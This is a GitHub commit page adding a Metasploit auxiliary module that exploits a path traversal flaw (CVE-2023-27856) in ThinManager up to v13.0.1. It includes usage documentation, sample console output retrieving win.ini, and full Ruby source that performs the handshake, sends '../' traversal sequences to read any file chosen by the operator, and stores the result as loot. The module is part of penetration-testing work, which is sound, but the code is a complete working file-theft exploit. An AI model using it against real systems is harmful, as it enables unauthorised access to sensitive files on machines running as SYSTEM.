Skip to content

Commit 2a7f40d

Browse files
authored
Merge pull request rapid7#20139 from h4x-x0r/CVE-2023-27856
ThinManager Path Traversal Download (CVE-2023-27856) Module
2 parents bd8eadb + 53145d7 commit 2a7f40d

File tree

2 files changed

+215
-0
lines changed

2 files changed

+215
-0
lines changed
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
## Vulnerable Application
2+
3+
This module exploits a path traversal vulnerability in ThinManager <= v13.0.1 (CVE-2023-27856) to download an arbitrary file from the
4+
system.
5+
6+
The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.
7+
8+
**Limitation**: Some files may get mangled by the application during transit.
9+
10+
## Testing
11+
12+
The software can be obtained from
13+
[the vendor](https://thinmanager.com/downloads/).
14+
15+
**Successfully tested on**
16+
17+
- ThinManager v13.0.1 on Windows 22H2
18+
- ThinManager v13.0.0 on Windows 22H2
19+
- ThinManager v12.1.5 on Windows 22H2
20+
- ThinManager v11.1.4 on Windows 22H2
21+
- ThinManager v10.0.2 on Windows 22H2
22+
23+
## Verification Steps
24+
25+
1. Install and run the application
26+
2. Start `msfconsole` and run the following commands:
27+
28+
```
29+
msf6 > use auxiliary/gather/thinmanager_traversal_download
30+
msf6 auxiliary(gather/thinmanager_traversal_download) > set RHOSTS <IP>
31+
msf6 auxiliary(gather/thinmanager_traversal_download) > set FILE <file to download>
32+
msf6 auxiliary(gather/thinmanager_traversal_download) > run
33+
```
34+
35+
This should retrieve the file as specified through FILE from the remote server.
36+
37+
## Options
38+
39+
### FILE
40+
The file to download from the remote server.
41+
42+
## Scenarios
43+
44+
Running the exploit against ThinManager v13.0.1 on Windows 22H2 should result in an output similar to the following:
45+
46+
```
47+
msf6 auxiliary(gather/thinmanager_traversal_download) > run
48+
[*] Running module against 192.168.137.227
49+
50+
[*] 192.168.137.227:2031 - Running automatic check ("set AutoCheck false" to disable)
51+
[!] 192.168.137.227:2031 - The service is running, but could not be validated.
52+
[*] 192.168.137.227:2031 - Sending handshake...
53+
[*] 192.168.137.227:2031 - Received handshake response.
54+
[*] 192.168.137.227:2031 - Requesting /Windows/win.ini from 192.168.137.227
55+
[+] 192.168.137.227:2031 - Received response from target.
56+
[*] 192.168.137.227:2031 - File saved as loot: /home/asdf/.msf4/loot/20250506150022_default_192.168.137.227_thinmanager.file_334213.txt
57+
[*] Auxiliary module execution completed
58+
59+
msf6 auxiliary(gather/thinmanager_traversal_download) > cat /home/asdf/.msf4/loot/20250506150027_default_192.168.137.227_thinmanager.file_381967.txt
60+
[*] exec: cat /home/asdf/.msf4/loot/20250506150027_default_192.168.137.227_thinmanager.file_381967.txt
61+
62+
; for 16-bit app support
63+
[fonts]
64+
[extensions]
65+
[mci extensions]
66+
[files]
67+
[Mail]
68+
MAPI=1
69+
```
Lines changed: 146 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::Tcp
8+
include Msf::Auxiliary::Report
9+
prepend Msf::Exploit::Remote::AutoCheck
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'ThinManager Path Traversal (CVE-2023-27856) Arbitrary File Download',
16+
'Description' => %q{
17+
This module exploits a path traversal vulnerability (CVE-2023-27856) in ThinManager <= v13.0.1 to retrieve arbitrary files from the system.
18+
19+
The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.
20+
},
21+
'Author' => [
22+
'Michael Heinzl', # MSF Module
23+
'Tenable' # Discovery and PoC
24+
],
25+
'License' => MSF_LICENSE,
26+
'References' => [
27+
['CVE', '2023-27856'],
28+
['URL', 'https://www.tenable.com/security/research/tra-2023-13'],
29+
['URL', 'https://rockwellautomation.custhelp.com/app/answers/answer_view/a_id/1138640']
30+
],
31+
'DisclosureDate' => '2023-04-05',
32+
'DefaultOptions' => {
33+
'RPORT' => 2031,
34+
'SSL' => 'False'
35+
},
36+
'Notes' => {
37+
'Stability' => [CRASH_SAFE],
38+
'Reliability' => [],
39+
'SideEffects' => [IOC_IN_LOGS]
40+
}
41+
)
42+
)
43+
44+
register_options(
45+
[
46+
OptString.new('FILE', [false, 'The file to read from the target system.', '/Windows/win.ini']),
47+
OptInt.new('DEPTH', [ true, 'The traversal depth. The FILE path will be prepended with ../ * DEPTH', 7 ])
48+
]
49+
)
50+
end
51+
52+
def check
53+
begin
54+
connect
55+
rescue Rex::ConnectionTimeout
56+
print_error("Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed.")
57+
return Exploit::CheckCode::Unknown
58+
end
59+
60+
vprint_status('Sending handshake...')
61+
handshake = [0x100].pack('V')
62+
vprint_status(Rex::Text.to_hex_dump(handshake))
63+
sock.put(handshake)
64+
65+
res = sock.get_once(4096, 5)
66+
expected_header = "\x00\x04\x00\x01\x00\x00\x00\x08".b
67+
68+
if res&.start_with?(expected_header)
69+
vprint_status('Received handshake response.')
70+
vprint_status(Rex::Text.to_hex_dump(res))
71+
disconnect
72+
return Exploit::CheckCode::Detected
73+
elsif res
74+
vprint_status('Received unexpected handshake response:')
75+
vprint_status(Rex::Text.to_hex_dump(res))
76+
disconnect
77+
return Exploit::CheckCode::Safe
78+
else
79+
disconnect
80+
return Exploit::CheckCode::Unknown('No handshake response received.')
81+
end
82+
end
83+
84+
def mk_msg(msg_type, flags, data)
85+
dlen = data.length
86+
hdr = [msg_type, flags, dlen].pack('nnN')
87+
hdr + data
88+
end
89+
90+
def run
91+
print_status('Sending handshake...')
92+
93+
begin
94+
connect
95+
rescue Rex::ConnectionTimeout => e
96+
fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}")
97+
end
98+
99+
handshake = [0x100].pack('V')
100+
vprint_status(Rex::Text.to_hex_dump(handshake))
101+
102+
begin
103+
sock.put(handshake)
104+
rescue StandardError => e
105+
fail_with(Failure::UnexpectedReply, "Failed during handshake send: #{e.class} - #{e.message}")
106+
end
107+
108+
res = sock.get
109+
if res
110+
print_status('Received handshake response.')
111+
vprint_status(Rex::Text.to_hex_dump(res))
112+
else
113+
print_error('No handshake response received.')
114+
fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}")
115+
end
116+
117+
data = [0xaa].pack('N')
118+
traversal = '../' * datastore['DEPTH']
119+
fname = datastore['FILE']
120+
data << (traversal + fname)
121+
data << "\x00"
122+
123+
req = mk_msg(8, 0x0001, data)
124+
vprint_status(Rex::Text.to_hex_dump(req))
125+
126+
print_status("Requesting #{fname} from #{datastore['RHOSTS']}")
127+
sock.put(req)
128+
129+
begin
130+
res = sock.get
131+
if res
132+
print_good('Received response from target.')
133+
vprint_status(Rex::Text.to_hex_dump(res)) if res
134+
else
135+
print_error('No response received from target.')
136+
end
137+
rescue StandardError => e
138+
fail_with(Failure::TimeoutExpired, "Failed to receive response: #{e.class} - #{e.message}")
139+
ensure
140+
disconnect
141+
142+
path = store_loot('thinmanager.file', 'text/plain', datastore['RHOSTS'], res[16..], datastore['FILE'], 'File retrieved through ThinManager path traversal (CVE-2023-27856).')
143+
print_status("File saved as loot: #{path}")
144+
end
145+
end
146+
end

0 commit comments

Comments
 (0)